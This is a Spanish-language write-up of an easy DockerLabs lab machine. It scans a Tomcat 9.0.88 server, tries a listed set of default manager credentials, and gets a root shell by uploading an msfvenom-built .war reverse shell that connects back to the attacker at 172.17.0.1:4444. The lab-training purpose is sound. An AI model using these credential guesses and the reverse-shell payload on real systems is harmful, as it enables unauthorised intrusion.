Pn - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Fácil | El Pingüino de Mario |
Reconocimiento Inicial
Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports
-p-: Escanea todos los puertos (1-65535).--open: Solo muestra los puertos abiertos.-sS: Realiza un escaneo SYN, que es rápido y discreto.--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.-n: No realiza resolución DNS.-Pn: No realiza ping previo para determinar si el host está activo.-vvv: Muestra resultados detallados y en tiempo real.
Durante el escaneo, descubrimos que el puerto abierto es:
8080(HTTP)
Enumeración de Servicios
A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad y obtenemos más información sobre los servicios asociados a estos puertos.
nmap -p8080 -sCV 172.17.0.2 -oG targeted
Exploración Web
Al navegar al puerto 8080, descubrimos un sitio web de Apache Tomcat en su versión 9.0.88.
Reconocimiento de Directorios
Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
gobuster dir: Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.-u http://172.17.0.2/: Especifica la URL objetivo que deseas escanear.-w: Especifica el diccionario a utilizar.-x: Indica los tipos de extensiones que deseas buscar.
Intentos de Acceso con Credenciales por Defecto
El acceso al panel administrativo requería credenciales. Probamos varias combinaciones de usuario y contraseña por defecto:
| Username | Password |
|---|---|
| admin | password |
| admin | |
| admin | Password1 |
| admin | password1 |
| admin | admin |
| admin | tomcat |
| both | tomcat |
| manager | manager |
| role1 | role1 |
| role1 | tomcat |
| role | changethis |
| root | Password1 |
| root | changethis |
| root | password |
| root | password1 |
| root | r00t |
| root | root |
| root | toor |
| tomcat | tomcat |
| tomcat | s3cret |
| tomcat | password1 |
| tomcat | password |
| tomcat | |
| tomcat | admin |
| tomcat | changethis |
En este caso, las credenciales correctas fueron:
- Usuario:
tomcat - Contraseña:
s3cr3t
Creación de Reverse Shell
Con acceso al panel, generamos una reverse shell utilizando un archivo malicioso .war creado con msfvenom.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.17.0.1 LPORT=4444 -f war -o revshell.war
Subimos el archivo al servidor y simultáneamente escuchamos el puerto 4444 con netcat.
nc -lvnp 4444
Escalada de Privilegios
Al acceder al sistema, ya tenemos permisos de root.
Con esto completamos el ejercicio -Pn en DockerLabs.